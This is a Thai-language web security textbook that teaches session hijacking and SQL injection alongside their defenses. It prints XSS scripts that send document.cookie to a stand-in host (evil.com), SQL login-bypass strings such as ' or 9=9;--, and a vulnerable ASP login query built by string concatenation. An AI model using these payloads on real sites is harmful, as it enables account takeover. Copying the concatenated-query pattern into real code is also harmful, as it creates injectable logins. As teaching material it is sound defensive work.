WebSecurity 20170412-0032

See discussions, stats, and author proﬁles for this publication at: https://www.researchgate.
net/publication/315943371
Web Security -
Book · April 2017
CITATIONS READS
0 15,059
1 author:
Thawatchai Chomsiri
Mahasarakham University
41 PUBLICATIONS 156 CITATIONS
SEE PROFILE
Some of the authors of this publication are also working on these related projects:
Training Project View project
Book Project View project
All content following this page was uploaded by Thawatchai Chomsiri on 11 April 2017.
The user has requested enhancement of the downloaded ﬁle.

ธวัชชัย ชมศิริ
Web Security
ความปลอดภัยของเว็บ
การป้องกันเว็บไซต์ให้ พ้นภัยจากการโจมตีของ “แฮกเกอร์ ”
เรี ยนรู้จากวิธีการโจมตีเช่น SQL Injection - Cross Site
Scripting (XSS) - Session Hijacking เพื่อให้ เห็นช่องโหว่
และสามารถนาไปสู่การป้องกันที่มีประสิทธิภาพ
<< ความปลอดภัยของเว็บ - Web Security - ธวัชชัย ชมศิ ริ >> 1
เว็บไซต์ต่างๆ มักจะมี ความอ่อนแอหรื อที่เราเรี ยกว่า

“ช่องโหว่” อยู่จานวนหนึ่ง แฮกเกอร์ จะฉวยโอกาสแฮกเข้ ามายัง
ช่องโหว่เหล่านี ้ เว็บไซต์ต่างๆ ทัว่ โลก มักจะมีช่องโหว่ที่คล้ ายๆ
กัน จากการศึกษาของหน่วยงานทางด้ านความปลอดภัยที่มีชื่อ
ย่อว่า OWASP พบว่า ช่องโหว่ที่แฮกเกอร์ มกั จะเจาะเข้ าไปยัง
เว็บไซต์ มีอยู่ประมาณ 10 ประเภท หนังสือเล่มจะนาเสนอช่อง
โหว่และการโจมตีที่สาคัญๆ ซึง่ อยู่ในลาดับต้ นๆ ที่ OWASP จัด
อันดับไว้ เช่นการโจมตีแบบ Session Hijacking, SQL
Injection, Remote File Inclusion, Cross Site Scripting
(XSS), Cross Site Request Forgery (CSRF), Parameter
Manipulation และ Login Cracking / Password Cracking
1. การโจมตีแบบ Session Hijacking

ในเว็บไซต์ระบบสมาชิกนั ้น หลังจากที่ผ้ ูใช้ ล็อกอินเข้ าสู่
ระบบได้ สาเร็ จ เว็บไซต์ จะสร้ าง Session ID ขึ ้นมาเพื่อใช้ เป็ น
ตัวอ้ างอิงถึงผู้ใช้ คนนั ้น Session ID จะเป็ นค่า String ยาว ๆ ที่
มักจะถูกสร้ งขึน้ โดยใช้ เทคนิคการสุ่มตัวอักษรผสมกับตัวเลข
และทุกครัง้ ที่ผ้ ูใช้ มีการส่ง HTTP Request ไปยังเว็บเซิร์ฟเวอร์
เพื่อขอหน้ าเว็บเพ็จ (เช่นการคลิกลิงค์ Inbox ของ Gmail เพื่อ

เช็ ค อี เ มล์ ) ใน HTTP Request จะมี Cookie และข้ อมู ล ใน
Cookie จะมี Session ID อยู่ ภ ายใน เมื่ อ เว็ บ ไซต์ ป ลายทาง
ได้ รับ HTTP Request ก็จะทราบว่าผู้ใช้ คนใดเป็ นผู้ร้องขอ โดย
เว็ บ ไซต์ จ ะตรวจสอบจาก Session ID ที่ อ ยู่ ภ ายใน Cookie
จากนัน้ ก็จะประมวลผลและตอบกลับด้ วย HTTP Response
ซึ่ ง มี ข้ อ มู ล ที่ ผ้ ู ใช้ คนนั น้ ต้ องการ (เช่ น Gmail ตอบกลับ ด้ วย
ข้ อมูลใน Mail Box ของผู้ใช้ คนนั ้น)
การโจมตี เ ว็ บ ไซต์ โ ดยวิ ธี Session Hijacking คื อ การ
ปล้ นเอา Session ID ของเหยื่อ โดย Session ID นั ้น มักจะถูก
บรรจุไว้ ภายใน Cookie ดังนั ้น หากผู้โจมตีดกั จับหรื อขโมยเอา
Cookie ของเหยื่อมาได้ ผู้โจมตีก็สามารถนาเอา Session ID ที่
อยู่ภายใน Cookie ไปใช้ เพื่อเข้ าสู่เว็บไซต์ด้วยสิทธิ์ของเจ้ าของ
Cookie นั ้นได้ การขโมยเอา Cookie เพื่ อมาทา Session
Hijacking จ าเป็ น ที่จะต้ องมีการขโมยค่า Cookie ซึ่งสามารถ
ทาได้ ด้วยเทคนิคต่าง ๆ มากมาย ผู้โจมตีที่อยู่เน็ตเวิร์กเดียวกัน
กับ เหยื่ อ มัก จะขโมย Cookie โดยการดัก จับ ข้ อ มูล ในระบบ
LAN แต่ถ้าหากผู้โจมตีอยู่ต่างเน็ตเวิร์กกับเหยื่อเช่นอยู่คนละซีก
โลก ก็ยงั สามารถขโมย Cookie ได้ โดยใช้ เทคนิคอื่นเพิ่มเติมเช่น

XSS: Cross Site Scripting หรื ออาจจะใช้ Spy Ware เป็ นต้ น
ก ารส่ ง Session ID จาก บ ราวเซอ ร์ ไป ยั ง เว็ บ ไซ ต์
นอกจากส่งโดยใช้ Cookie แล้ วยังสามารถส่งทางอื่นได้ อีกเช่น
ส่ ง ทางฟิ ลต์ ที่ ซ่ อ น (Hidden Field) หรื อ ส่ ง Session ID ทาง
URL ก็ มี การส่ ง Session ID ทาง Hidden Field นั น้ ผู้ โจมตี
สามารถเปลี่ยนค่าในฟิ ลต์ซ่อนได้ โดยตรง ส่วนการส่ง Session
ID ทาง URL ผู้โจมตี ก็ ส ามารถแก้ ไขค่ าบน Address Bar ได้
โดยตรง เนื่องจากสามารถถูกโจมตีได้ ง่ายทั ้งสองวิธีที่กล่าวมา
จึงไม่ค่อยเป็ นที่นิยม ในทางตรงกันข้ ามจะเห็นได้ ว่าเว็บไซต์ฟรี
อี เมล์ ย อดนิ ย มอย่ า ง Hotmail, Gmail และ Yahoo Mail ก็ ใ ช้
การส่ง Session ID ทาง Cookie
1.1 ตัวอย่ างการโจมตีแบบ Session Hijacking โดยการดัก

จับ Session ID และใช้ บราวเซอร์ พเิ ศษ
การโจมตีแบบนี ้ ผู้โจมตี / แฮกเกอร์ จะต้ องดักจับข้ อมูล
Session ID ของเหยื่อ โดยแฮกเกอร์ อาจจะอยู่บนเน็ตเวิร์ก
เดียวกันกับเหยื่อ หรื อแอบรันโปรแกรมดักจับข้ อมูลไว้ บนเครื่ อง

อื่นที่อยู่บนเน็ตเวิร์กเดียวกันกับเหยื่อ
1.1.1 แฮกเกอร์ ทาการดักจับ Session ID ของเหยื่อ

- แฮกเกอร์ จะทาการ ARP Spoof เพื่อให้ ตวั เองทางาน
เป็ น Man In The Middle (MITM) โดยใช้ โปรแกรมช่วยเช่น
Switch Sniffer หรื อโปรแกรม Win ARP Spoof บน Windows
โปรแกรม Switch Sniffer และโปรแกรม Win ARP Spoof

- เมื่อทาการ ARP Spoof แล้ วแฮกเกอร์ ก็จะดักจับข้ อมูล

ด้ วยโปรแกรมประเภท Sniffer เช่น Sniifer, Ethereal หรื อ
Wireshark
แฮกเกอร์ ดกั จับได้ Session ID ของ Gmail ใน Cookie ชือ่ GX

1.1.2 แฮกเกอร์ ทาการล็อกอินเข้ าสู่ระบบด้ วย Account ของ

ตนเอง
บราวเซอร์ ที่อนุญาตให้ เปลี่ยนค่าใน Cookie ได้ คือ
Opera และ Fire Fox ที่ติดตั ้ง Add On ชื่อ Cookie Editor
แฮกเกอร์ ใช้ Opera ล็อกอิ นเข้าเว็บไซต์ Gmail

ด้วย Account ของตนเอง
1.1.3 แฮกเกอร์ นา Session ID ของเหยื่อ มาแทนที่ Session

ID ของตนเอง
แฮกเกอร์ เปลีย่ นค่าใน Cookie ของตนเอง
ก่อนเปลีย่ น Cookie (ซ้าย) และหลังเปลีย่ น Cookie (ขวา)

1.2 ตัวอย่ างการทา Session Hijacking โดยใช้ เครื่ องมือ

Side Jacking
การโจมตีแบบนี ้ ผู้โจมตี / แฮกเกอร์ จะต้ องดักจับข้ อมูล
Session ID ของเหยื่อเช่นเดียวกันกับข้ อ 1 โดยแฮกเกอร์ จะอยู่
บนเน็ตเวิร์กเดียวกันกับเหยื่อ และใช้ โปรแกรมในชุดของ Side
jacking เพื่อช่วยให้ การโจมตีทาได้ ง่ายขึ ้น
โปรแกรม Ferret
เรี ยกใช้โปรแกรม Hamster

เปิ ดลิ งค์ Hotmail ของเหยือ่
1.3 ตัวอย่ างการทา Session Hijacking โดยการขโมย

Cookie ข้ ามเครื อข่ ายอินเทอร์ เน็ต
การโจมตี แ บบนี ้ ผู้โจมตี / แฮกเกอร์ ไม่ จ าเป็ น ต้ อ งอยู่
บนเน็ตเวิร์กเดียวกันกับเหยื่อ แต่จะใช้ เทคนิค XSS: Cross Site
Scripting เพื่อขโมย Cookie
(ตัวอย่างที่ 1)
<script>
idata = new Image;
idata.src="http://www.evil.com/path/cookie.ph
p?cook="+escape(document.cookie);
</script>
นอกจากรูปแบบดังตัวอย่างที่ 1 แฮกเกอร์ ยงั นิยมใช้ สคริป

ลักษณะอื่น ๆ อีก ดังตัวอย่างต่อไปนี ้
<script>
var x=new Image();
x.src='http://www.evil.com/path/cookie.php?co
ok='+document.cookie;
</script>
<script>
var cookie=document.cookie;
document.write("<img
src=www.evil.com/path/cookie.php?cook="+cookie+">"
);
</script>
แฮกเกอร์ (sam) นา Cookie ทีข่ โมยมาได้ แล้วเข้าระบบเป็ น

admin
1.4 การป้ องกัน Session Hijacking

จากขั ้นตอนต่าง ๆ ที่แฮกเกอร์ ใช้ เราจะพบว่า ในการดัก
จับ Session ID ในระบบแลนนัน้ แฮกเกอร์ จ าเป็ น ที่ จะต้ อ งมี
การท า ARP Spoof เพื่ อ ให้ ข้ อ มูล ของเหยื่ อ วิ่งผ่ านเครื่ อ งของ
แฮกเกอร์ และใช้ โปรแกรมประเภท Sniffer ดักจับข้ อมูล ดังนั ้น
การป้องจึงสามารถทาได้ โดยวิธีการต่าง ๆ ดังต่อไปนี ้
o ป้องกัน ARP Spoof

o ป้องกันการดักจับข้ อมูล
o ป้ อ งกั น การน า Cookie / Session ID ที่ ดัก จับ ได้ ไปใช้
งาน
1.4.1 การป้องกัน ARP Spoof และป้องกันการดักจับข้ อมูล

การที่ แ ฮกเกอร์ จ ะดัก จับ ข้ อ มูล บนเน็ ต เวิร์ก ได้ นัน้ เขา
จาเป็ นที่จะต้ องทา ARP Spoof เราสามารถที่จะทาให้ แฮกเกอร์
ทางานล้ มเหลวได้ โดยการกาหนด Static ARP บนเครื่ อง Client
(ใช้ โปรแกรม Anti-ARP มาช่วยได้ ) นอกจากนั ้นเรายังสามารถ
ที่จะตรวจสอบได้ ว่าเครื่ องใดกาลังทา ARP Spoof อยู่ได้ โดยใช้
โปรแกรม ARP Watch บน Linux
การก าหนดค่ า Static ARP บนเครื่ อ ง Windows XP
สามารถทาได้ ดงั ขั ้นตอนต่อไปนี ้
 เปิ ด Command Prompt โดยคลิ ก ที่ เมนู Start -> Run

แล้ วป้ อ น CMD.EXE และกด Enter จะพบหน้ าจอ
Windows Command (หน้ าต่างสีดา)
 ใช้ คาสัง่ บน Command Prompt โดยใช้ คาสัง่ ping เว้ น

วรรคแล้ วตามด้ วยไอพีแอดเดรสของ Gateway Router
เพื่ อ ให้ ค่ า MAC Address ของ Gateway อยู่ บ น ARP
Table ของเครื่ อง Client (แบบ Dynamic)
 ใช้ คาสัง่ arp –a เพื่อดูค่า MAC Address ของ Gateway

พร้ อมทั ้งคัดลอกหมายเลข MAC Address เอาไว้
 ใช้ คาสัง่ arp –s เว้ นวรรคแล้ วตามด้ วยไอพีแอดเดรสของ

Gateway เว้ น วรรคแล้ ว ตามด้ ว ย MAC Address ของ
Gateway
การป้องกันการดักจับข้ อมูลทาได้ ค่อนข้ างยาก เนื่องจาก

ปั จ จุ บั น นี ม้ ี โ ปรแกรมดั ก จับ ข้ อมู ล ออกมาสู่ ท้ องตลาดเป็ น
จ า น ว น ม า ก เช่ น Ethereal, Wireshark, Sniffer Pro, Cain,
Ferret และอื่น ๆ อีกมากมาย โปรแกรมบางตัวมีประโยชน์มาก
เช่น Ethereal และ Wireshark ช่วยให้ เราสามารถดักจับเฟรม
ข้ อมู ล ที่ วิ่ ง อยู่ บ นระบบเครื อ ข่ า ยแล้ วน ามาวิ เ คราะห์ เ พื่ อ

แก้ ปัญหาของระบบเครื อข่ายได้
โปรแกรม Anti-Sniff เป็ นโปรแกรมที่ ใ ช้ ตรวจสอบว่ า
เครื่ อ งใดก าลังรั น โปรแกรมประเภทดัก จับ ข้ อ มูล อยู่ โดยมัน
จะแจ้ งเตือนเมื่อพบเครื่ องที่ทางานในโหมด Promiscuous ใน
ระบบเครื อ ข่ ายขนาดเล็ก ผู้ดูแ ลระบบสามารถใช้ โปรแกรมนี ้
สแกน เพื่อค้ นหาผู้ที่กาลังดักจับข้ อมูลได้ แต่ก็ถือว่าเป็ นสิ่งที่ทา
ได้ ลาบากสาหรับระบบเครื อข่ายขนาดใหญ่
เน็ตเวิร์กที่มีการป้องกัน ARP Spoof สามารถจะป้องกัน
ให้ ไม่สามารถดักจับข้ อมูลได้ บน Switch Network ดังนัน้ ถ้ ามี
การป้ อ งกัน โดยใช้ Static ARP แล้ ว การป้ อ งกัน การดัก จับ
ข้ อมูลก็ไม่ใช่สิ่งที่จาเป็ นอีกต่อไป นอกจากนัน้ เรายังสามารถ
ป้องกัน ARP Spoof ได้ โดยใช้ คุณสมบัติ Static Port หรื อ Port
Security บน Switch คุ ณ ภาพสู ง ซึ่ ง ในอนาคตอั น ใกล้ นี ้
อุ ป กรณ์ Switch รุ่ น ราคาถู ก ที่ เ ราใช้ กั น โดยทั่ ว ๆ ไป จะมี
คุ ณ สมบั ติ Static Port หรื อ Port Security เช่ น เดี ย วกั น กั บ
อุปกรณ์ของ Cisco
1.4.2 การเข้ ารหัสข้ อมูล HTTP และ Session ID

การเข้ ารหัสข้ อมูลเป็ นอีกวิธีหนึ่งจะสามารถป้องกันการ
ดักจับ Session ID ได้ ไม่ว่าจะเป็ นเข้ ารหัสในระดับ LAN เช่น
การใช้ VPN การเข้ ารหัสข้ อมูลที่วิ่ง Wireless LAN โดยการใช้
WEP, WPA และ WPA2 ก็ถือว่าเป็ นการเพิ่มความปลอดภัยให้
สูงขึน้ ได้ หรื อถ้ าเราไม่ห่วงเรื่ องประสิทธิ ภาพและความเร็ วใน
การให้ บริ การ เช่นเรามีเครื่ องเซิร์ฟเวอร์ ที่ค่อนข้ างแรง และลิงค์
อินเทอร์ เน็ตความเร็วสูงอยู่แล้ ว การใช้ HTTPS ตลอดเวลาที่ส่ง
Session ID ก็ถือว่าเป็ นอีกทางเลือกหนึ่ง
1.4.3 การป้ อ งกั น การน า Cookie / Session ID ที่ แ ฮกเกอร์

ขโมยมาได้ ไปใช้ งาน
แฮกเกอร์ ที่ได้ Session ID ของเหยื่อแล้ วนาไปใช้ นั ้น โดย
ส่วนมากแล้ วแฮกเกอร์ จ ะใช้ ไอพีแอดเดรสของตนเองแล้ วเรี ยก
เข้ าไปยังเว็บไซต์ ดังนั ้นถ้ า Web Application ในฝั่ งเซิร์ฟเวอร์ มี
การตรวจสอบไอพีแอดเดรสของผู้ส่ง Request ก็สามารถที่จะ
ป้ อ งกัน Session Hijacking ได้ นอกจากการตรวจสอบไอพี
แอดเดรสแล้ ว การตัง้ ค่ าให้ Session หมดอายุในเวลาจ ากัด
(เช่ น Timeout=10 นาที ) ก็ ท าให้ แ ฮกเกอร์ ท างานล าบากขึน้

เช่นไม่สามารถเอา Session ID ไปใช้ ได้ ทนั เวลาเป็ นต้ น
2. การโจมตีแบบ SQL Injection
หน้ าจอเว็บล็อกอินที่ให้ ผ้ ใู ช้ ป้อนทางบราวเซอร์ เพื่อเข้ าสู่

ระบบ เป็ นช่องทางหนึ่งที่ทาให้ แฮกเกอร์ สามารถที่จะข้ ามผ่าน
การตรวจสอบสิทธิ์แล้ วเข้ าสู่ระบบด้ วยสิทธิ์ของผู้ดูแลระบบได้
หรื อในบางครัง้ แฮกเกอร์ อาจจะเข้ ายึดครองและควบคุมเครื่ อง
เซิร์ฟเวอร์ นั ้นได้ หน้ าจอล็อกอินดังกล่าวก็อย่างเช่น ล็อกอินเพื่อ
เช็คอีเมล์ , ล็อ กอิน เพื่ อเข้ าสู่เว็บบอร์ ด (ที่ต้ องลงทะเบียนเป็ น
สมาชิกเท่านัน้ จึงใช้ งานได้ ) หรื อหน้ าจอล็อกอินอื่น ๆ ที่มีการ
ตรวจสอบสิทธิ์ของผู้ใช้ จากฐานข้ อมูลเชิงสัมพันธ์ (Relational
Database)
ในระบบสมาชิกต่าง ๆ นั ้น ผู้ดูแลระบบมักจะเก็บข้ อมูล
ของสมาชิกไว้ ในฐานข้ อมูลเช่น Oracle, SQL Server, MySQL
และ MS Access เป็ น ต้ น และเมื่อ สมาชิ ก ที่ ป ระสงค์ จะเข้ าสู่
ระบบก็จะต้ องพบกับหน้ าจอตรวจสอบสิท ธิ์ ดังรู ป ซึ่งสมาชิก

จะต้ องป้อนชื่อผู้ใช้ และรหัสผ่านให้ ถกู ต้ อง
แฮกเกอร์ สามารถทีจ่ ะทาการแฮกจากหน้าจอ Login ได้
ฟอร์ มล็อกอินมักจะถูกสร้ างด้ วยแท็ก HTML ง่าย ๆ เช่น

หน้ าล็อกอินที่มีรายละเอียดดังนี ้
<CENTER>
<TABLE BORDER="1" CELLSPACING="0" CELLPADDING="2">
<TR><TD>
<TABLE WIDTH="100%" BORDER="0" CELLSPACING="0"
CELLPADDING="2">
<FORM ACTION="login.asp" METHOD="post">
<TR>
<TD ALIGN="right">Username:</TD>
<TD><INPUT TYPE="text" NAME="username" SIZE="15"></TD>
</TR>
<TR>
<TD ALIGN="right">Password:</TD>
<TD><INPUT TYPE="password" NAME="password"
SIZE="15"></TD>
</TR>
<TR>
<TD> </TD>
<TD><INPUT TYPE="submit" VALUE="LOGIN"></TD>
</TR>
<INPUT TYPE="hidden" NAME="VIEW" VALUE="SQL">
</FORM>
</TABLE>
</TD></TR>
</TABLE>
</CENTER>
ฟอร์ มล็อกอินนีจ้ ะรับค่า username และ password และมีปมุ่

ให้ กดเพื่อทาการล็อกอิน หลังจากที่ผ้ ใู ช้ กดปุ่ มล็อกอินดังกล่าว
แล้ ว ฟอร์ มนี ้จะทาการส่งข้ อมูล username และ password ไป
ให้ ระบบทาการตรวจสอบสิทธิ์โดยการส่งไปยังโปรแกรมในฝั่ ง
เซิร์ฟเวอร์ ซึ่งอาจจะเป็ น ASP, CGI/Perl หรื อ PHP เป็ นต้ น ซึ่ง
โดยส่วนมากแล้ วเว็บโปรแกรมเมอร์ มกั จะเขียนโปรแกรมง่าย ๆ
เพื่ อ ที่ จ ะน า username และ password เข้ ามาเป็ น ส่ว นหนึ่ ง
ของคาสัง่ SQL แล้ วส่งไปให้ Database Server ทาการสืบค้ น
ข้ อมูล ซึ่งรายละเอียดของโปรแกรมในฝั่ งเซิร์ฟเวอร์ มักจะเป็ น
ดังนี ้
SQLQuery = "SELECT * FROM tbl_Users WHERE Username = '"
&
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
โปรแกรมเมอร์ จะเขียนคาสั่ง SQL login บางส่วนไว้ ใน

โค้ ด โป รแ ก รม แ ล ะ เมื่ อ น าค่ าตั วแ ป ร username แ ล ะ
password ที่ ผ้ ูใช้ ป้อ นผ่ า นฟอร์ ม น ามาประกอบเข้ าด้ วยกัน

(น ามาเรี ย งต่ อ กัน ) ก็ จ ะเป็ น ค าสั่ง SQL login ที่ ส มบูร ณ์ ซึ่ ง
ความหมายของคาสัง่ SQL login ดังกล่าวก็คือให้ ทาการสืบค้ น
ข้ อ มู ล ข อ งผู้ ใช้ จ าก ต ารา งชื่ อ tbl_Users ที่ ค่ า ใน ฟิ ล ต์
Username ตรงกัน กับ ค่ าในตัวแปร strUsername และค่ าใน
ฟิ ล ต์ Password ต รงกั น กั บ ค่ า ใน ตั ว แ ป ร strPassword
หลังจากที่พบข้ อมูลแล้ ว ตัวแปร strAuthCheck จะรับค่าข้ อมูล
ของผู้ใช้ คนนัน้ แต่ถ้าค้ นหาไม่พบ (ซึ่งอาจจะเกิดจากไม่มีผ้ ูใช้
ต า ม ที่ ระ บุ ห รื อ ป้ อ น ค่ า รหั ส ผ่ า น ผิ ด ) ค่ า ใน ตั ว แ ป ร
strAuthCheck จะได้ รับค่าว่างเปล่า ซึ่งจะทาให้ โปรแกรมทราบ
ว่า การตรวจสอบสิท ธิ์ ผ่ า นหรื อ ไม่ จะเกิ ด อะไรขึน้ ถ้ า ตัว แปร
สาหรับ username และ password ที่ถูกส่งเข้ ามานัน้ ไม่ใช่ชื่อ
ผู้ใช้ และรหัสผ่าน แต่กลับกลายเป็ นส่วนหนึ่งของคาสัง่ SQL ที่
สามารถทาให้ ความหมายของคาสัง่ เปลี่ยนไป
2.1 การข้ ามผ่ านการตรวจสอบสิทธิ์ด้วย SQL Injection

เราจะมาวิเคราะห์ การทางานของระบบ เมื่อมีการป้อน
ค่ าล็อกอิ น ด้ วยการป้อ นที่ ช่ อ ง Username เป็ น ค าว่า somsri
และป้อนที่ช่อง Password ว่า SuperGirl ผลลัพธ์ ที่ได้ หลังจาก

ที่โปรแกรมในฝั่ งเซิร์ฟเวอร์ นาค่าตัวแปรทั ้งสองมาประกอบเข้ า
กับคาสัง่ SQL ที่เตรี ยมไว้ ก็จะเป็ นดังนี ้
SELECT * FROM tbl_Users WHERE

Username = 'somsri' AND Password = 'SuperGirl'
แต่ถ้าหากแฮกเกอร์ ป้อนค าสั่ง SQL (หรื อส่วนหนึ่ งของคาสั่ง

SQL) เข้ าไปแทนชื่ อ และรหัส ผ่ า น จะท าให้ ค วามหมายของ
SQL login เปลี่ ย นไป เช่ น แฮกสามารถที่ จ ะข้ ามผ่ า นการ
ตรวจสอบสิทธิ์ได้ โดยอัดฉีดคาสัง่ SQL เข้ าไปดังนี ้ (ตัวอย่างนี ้
ในช่อง Username สามารถป้อนเป็ นคาอื่นก็ได้ เช่น somsri)
ป้อน ‘ or 9=9 ; - - เข้าไปในช่องรหัสผ่าน

เมื่อป้อนค่าดังรูปคาสัง่ SQL login ในฝั่งเซิร์ฟเวอร์ จะกลายเป็ น

คาสัง่ SQL ดังนี ้

Username = 'hacker' AND Password = '' or 9=9;--'
จากหลัก การทางตรรกศาสตร์ เราพบว่ า X and Y or

TRUE จะมี ค่ าความจริ งเป็ น จริ งเสมอไม่ว่า X และ Y จะเป็ น
TRUE หรื อ FALSE ก็ตาม จากตัวอย่างนีใ้ ห้ X คือ Username
= 'hacker' ส่วน Y คื อ Password = '' ส่วนนิ พจน์ 9=9 ก็ มีค่ า
ความจริ ง เป็ น TRUE เสมอ ดั ง นั น้ Username = 'hacker'
AND Password = '' or 9=9;--' ก็ คื อ X and Y or TRUE ซึ่ ง มี
ค่าความจริงเป็ นจริ งเสมอ (คาว่า and และ or จะใช้ ตวั เล็กหรื อ
ตัวใหญ่ ก็ได้ ) ดังนัน้ คาสัง่ SQL login จึงกลายเป็ น SELECT *
FROM tbl_Users WHERE TRUE ซึ่ ง มี ค ว า ม ห ม า ย
เช่ น เดี ย วกั น กั บ SELECT * FROM tbl_Users จึ ง ท าให้ ค่ า ที่
ส่งกลับมาจาก Database Server ไม่ใช่ค่าว่างเปล่า เป็ นเหตุให้
แฮกเกอร์ สามารถข้ ามผ่านการตรวจสอบสิทธิ์ได้
สัญ ลัก ษณ์ ;-- หมายถึ งการสิน้ สุด ค าสั่ง SQL ซึ่งแฮก
เกอร์ จ ะใส่ มั น เข้ าไปเพื่ อ ให้ เครื่ อ งหมาย Single Quote ตั ว
สุ ด ท้ ายเป็ น โมฆ ะ (Single Quote ตั ว สุ ด ท้ ายได้ มาจาก
โปรแกรมทางฝั่ งเซิร์ฟเวอร์ ) ผลสุดท้ ายแล้ วจะทาให้ มีค่าสตริ งที่
ไม่ใช่ค่าว่างเปล่าถูกส่งกลับไปยังตัวแปร strAuthCheck ซึ่งมี
ผลท าให้ ค่ า ตั ว แปร boolAuthenticated มี ค่ า เป็ น TRUE ซึ่ ง
หมายถึงการตรวจสอบสิทธิ์นั ้นผ่าน
นอกจากการข้ ามผ่านการตรวจสอบสิทธิ์โดยการป้อนค่า
อินพุตดังตัวอย่างที่กล่าวมาแล้ ว แฮกเกอร์ ยงั สามารถข้ ามผ่าน
การตรวจสอบสิทธิ์โดยการป้อนในลักษณะดังต่อไปนี ้
การข้ามผ่านการตรวจสอบสิ ทธิ์
จากรูปทาให้ คาสัง่ SQL login ในฝั่งเซิร์ฟเวอร์ จะถูกประกอบ

กันเป็ นคาสัง่ SQL ดังนี ้

Username = '' or 9=9;--' AND Password = 'hacker'
ซึง่ ก็คือ
Username = '' or 9=9
และรูปต่อไปนี ้ก็เป็ นอีกตัวอย่างหนึ่งของการข้ ามผ่านการ

ตรวจสอบสิทธิ์
การอัดฉี ดคาสัง่ SQL เพือ่ การข้ามผ่านการตรวจสอบสิ ทธิ์
เครื่ องหมายที่อยู่ข้างซ้ ายของเครื่ องหมายเท่ากับคือ

เครื่ องหมาย Single Quote สองตัว ไม่ใช่ Double Quote
(เครื่ องหมายฟั นหนู) หนึ่งตัว ผลลัพธ์คือคาสัง่ SQL login ในฝั่ง
เซิร์ฟเวอร์ จะถูกประกอบกันเป็ นคาสัง่ SQL ดังนี ้ (ซึง่ ทาให้ แฮก

เกอร์ ผา่ นการตรวจสอบสิทธิ์ได้ เช่นกัน)

Username = '' OR ''='' AND Password = '' OR ''=''
นอกจากนั ้นแฮกเกอร์ ยงั สามารถข้ ามผ่านการตรวจสอบสิทธิ์

โดยการป้อนที่หน้ าจอ Login ในรูปแบบอื่น ๆ ได้ อีกมากมาย
หลายแบบ
ในทางปฎิบตั ิ หลังจากที่ผ่านการตรวจสอบสิทธิ์เสร็ จสิ ้น
สิทธิ์ที่แฮกเกอร์ จะได้ รับหลังจากการล็อกอินผ่านนัน้ จะขึ ้นอยู่
กับโปรแกรมในฝั่งเซิร์ฟเวอร์ ซงึ่ สามารถแบ่งได้ หลายกรณีเช่น
o ได้ สิทธิ์เป็ นผู้ใช้ ที่อยู่ในเรคอร์ ดแรกของตาราง (ซึ่ง

ส่วนมากจะเป็ น admin หรื อ webmaster) จะเกิด
ได้ ในกรณี ที่ โ ปรแกรมน าเอาค่ า ที่ อ ยู่ ใ นฟิ ลต์
Username บนเรคอร์ ด แรกไปใช้ (หลังจากการ
Query เรคอร์ ด แรกจะถื อว่าเป็ นเรคอร์ ดปั จจุบัน
ซึง่ จะถูกนาไปใช้ )
o ได้ สิทธิ์เป็ นผู้ใช้ ที่มี ID น้ อยที่สดุ ในตาราง (ผู้ที่ใช้

ID=1 หรื อ ID=1 ส่ ว นมากจะเป็ น admin หรื อ
webmaster) จะเกิ ด ได้ ค ล้ า ยกับ กรณี แ รกโดยที่
ตาราง tbl_Users จะต้ องมีการเรี ยงตาม ID
o ได้ สิท ธิ์ เป็ น ผู้ใช้ ที่ มีชื่อ เดี ย วกัน กับ Username ที่
ระบุ จะเกิดได้ ในกรณี ที่ แฮกเกอร์ มีความชานาญ
จนสามารถที่จะบังคับได้ ว่าจะล็อกอินเข้ าเป็ นผู้ใช้
รายใด
รู ป ต่ อ ไปนี เ้ ป็ น ตัวอย่ า งของเว็บ ไซต์ แ ห่ งหนึ่ งที่ โดนแฮ

กด้ วยวิ ธี SQL Injection ซึ่ ง แฮกเกอร์ ส ามารถป้ อ น ‘ or ‘’=’
เพื่ อ ข้ ามผ่ า นการตรวจสอบสิ ท ธิ์ แ ล้ วเข้ าระบบได้ สิ ท ธิ์ เป็ น
Administrator
ตัวอย่างเว็บไซต์ทีโ่ ดนแฮกด้วยวิ ธี SQL Injection

2.2 การป้ องกัน SQL Injetion

การป้องกันการโจมตีระบบจาก SQL Injection ทาได้
ดังนี ้
2.2.1 ป้องกันการป้อนอักขระพิเศษผ่านฟอร์ มอินพุทเช่น ‘ ; - “

| ^%&@()
การแฮกโดยการอัดฉี ดคาสั่ง SQL นัน้ จะต้ องมีการส่ง
อักขระพิเศษผ่านหน้ าจอล็อกอินเข้ าไปยังเว็บไซต์ ดังนั ้นถ้ าเรา
ควบคุ ม ไม่ ใ ห้ ตั ว อั ก ขระเหล่ า นี ผ้ ่ า นเข้ าไปถึ ง ระบบจัด การ
ฐานข้ อมูล (DBMS) แล้ ว แฮกเกอร์ ก็ไม่สามารถที่จะแฮกโดย
ช่องทางนีไ้ ด้ โปรแกรมในส่วนของกาารป้องกันอักขระเหล่านี ้
ควรจะอยู่ที่ฝั่งเซิร์ฟเวอร์ เช่นอยู่ในไฟล์ *.ASP, *.cgi, *.pl หรื อ
.php แล้ วแต่ว่าโปรแกรมในฝั่ งเซิร์ฟเวอร์ จะถูกเขียนขึ ้นมาด้ วย
สคริ ป ต์ ห รื อ ภาษาอะไร ส่ ว นอั ก ขระที่ ต้ องควบคุ ม ก็ ได้ แก่
เครื่ องหมาย Single Quote ซึ่งก็คือสัญลักษณ์ ‘ เครื่ องหมายเซ
มิโคลอนซึ่งก็คือ ; เครื่ องหมายไปป์ ซึ่งก็คือ | และเครื่ องหมาย
อื่ น ๆ เช่ น & % “ @ = ( ) เป็ นต้ น สาเหตุ ที่ ต้ องป้ อ งกั น
เครื่ องหมายเหล่านี ้เนื่องจาก
- เครื่ องหมาย Single Quote ( ‘ ) จะสามารถทาการปิ ด

เครื่ องหมาย Single Quote ตัวแรกที่โปรแกรมเขียนไว้ รอในฝั่ ง
เซิร์ฟเวอร์
- เครื่ องหมายเซมิโคลอน ( ; ) จะใช้ คั่น ระหว่างค าสั่ง
SQL และถ้ าใช้ ควบคู่กบั เครื่ องหมายลบสองอัน (;-- ) เพื่อเป็ น
การหลอก DBMS ว่าจบคาสัง่ SQL แล้ ว
- เครื่ องหมายไปป์ ( | ) มักจะใช้ เพื่อทาการเปลี่ยนทิศ
ทางการแสดงผลตัวอักษรไปยังโปรแกรม passwd เพื่อทาการ
เปลี่ยนรหัสผ่านของ root เป็ นต้ น
